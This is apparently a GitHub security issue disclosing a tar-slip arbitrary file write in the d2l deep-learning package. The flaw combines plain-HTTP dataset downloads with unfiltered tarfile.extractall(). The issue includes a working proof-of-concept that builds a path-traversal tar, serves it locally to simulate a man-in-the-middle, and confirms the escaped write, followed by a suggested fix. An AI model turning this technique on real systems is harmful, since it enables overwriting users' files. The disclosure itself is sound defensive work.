Skip to content

Tar-Slip Arbitrary File Write via HTTP Download in d2l #2714

Description

@AAtomical

Summary

The d2l package downloads datasets over plaintext HTTP (http://d2l-data.s3-accelerate.amazonaws.com/) and extracts tar archives using bare tarfile.extractall() with no member name filtering. A network attacker (MITM) can serve a malicious .tar with path-traversal entries, achieving arbitrary file write with the victim's privileges.

This affects all users following the official D2L book tutorials (6k+ GitHub stars, widely used in university courses) whenever they download datasets containing .tar files (e.g., VOC2012, PTB).

Affected Component

  • Repository:
  • File: d2l/torch.py (and d2l/mxnet.py, d2l/tensorflow.py, d2l/paddle.py — identical code)
  • Vulnerable functions: extract() (line 3224-3237), download_extract() (line 3239-3253)
  • Version: 1.0.3 (latest)

Vulnerability Details

Plaintext HTTP data URL (line 2)

DATA_URL = 'http://d2l-data.s3-accelerate.amazonaws.com/'

All dataset downloads use this HTTP (not HTTPS) base URL.

Bare tarfile.extractall (line 3234-3237)

def extract(filename, folder=None):
    base_dir = os.path.dirname(filename)
    _, ext = os.path.splitext(filename)
    if ext == '.zip':
        fp = zipfile.ZipFile(filename, 'r')
    else:
        fp = tarfile.open(filename, 'r')   # ← tar: no filter
    if folder is None:
        folder = base_dir
    fp.extractall(folder)                   # ← bare extractall

download_extract (line 3239-3253) — same pattern

def download_extract(name, folder=None):
    fname = download(name)                  # HTTP GET
    ...
    fp = tarfile.open(fname, 'r')
    fp.extractall(base_dir)                 # ← bare extractall into ../data/

Tar datasets in DATA_HUB

DATA_HUB['voc2012'] = (DATA_URL + 'VOCtrainval_11-May-2012.tar', ...)

Proof of Concept

Environment

Component Detail
d2l 1.0.3 (pip install)
Python 3.11.0
Attack Local HTTP server simulating MITM on http://d2l-data.s3-accelerate.amazonaws.com

Exploit

import io, os, tarfile, tempfile, threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
from pathlib import Path
from d2l import torch as d2l

SERVE_DIR = Path(tempfile.mkdtemp())
WORK_DIR = Path(tempfile.mkdtemp())

# Build malicious tar
with tarfile.open(str(SERVE_DIR / "VOCtrainval_11-May-2012.tar"), "w") as tf:
    info = tarfile.TarInfo(name="../pwned.txt")
    data = b"ARBITRARY_WRITE\n"
    info.size = len(data)
    tf.addfile(info, io.BytesIO(data))

# Serve (simulates MITM)
os.chdir(str(SERVE_DIR))
server = HTTPServer(("127.0.0.1", 19234), SimpleHTTPRequestHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()

# Victim downloads dataset (MITM'd)
d2l.DATA_URL = "http://127.0.0.1:19234/"
fname = d2l.download(d2l.DATA_URL + "VOCtrainval_11-May-2012.tar", folder=str(WORK_DIR / "data"))
d2l.extract(fname)

# Verify: file escaped extraction directory
assert (WORK_DIR / "pwned.txt").exists()

PoC output

Image

Suggested Fix

# 1. Use HTTPS
DATA_URL = 'https://d2l-data.s3-accelerate.amazonaws.com/'

# 2. Add tar extraction filter
def extract(filename, folder=None):
    base_dir = os.path.dirname(filename)
    _, ext = os.path.splitext(filename)
    if ext == '.zip':
        fp = zipfile.ZipFile(filename, 'r')
        fp.extractall(folder or base_dir)
    else:
        with tarfile.open(filename, 'r') as fp:
            if hasattr(tarfile, 'data_filter'):
                fp.extractall(folder or base_dir, filter='data')
            else:
                safe = [m for m in fp.getmembers()
                        if not m.name.startswith(('/', '..'))
                        and '..' not in m.name.split('/')]
                fp.extractall(folder or base_dir, members=safe)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions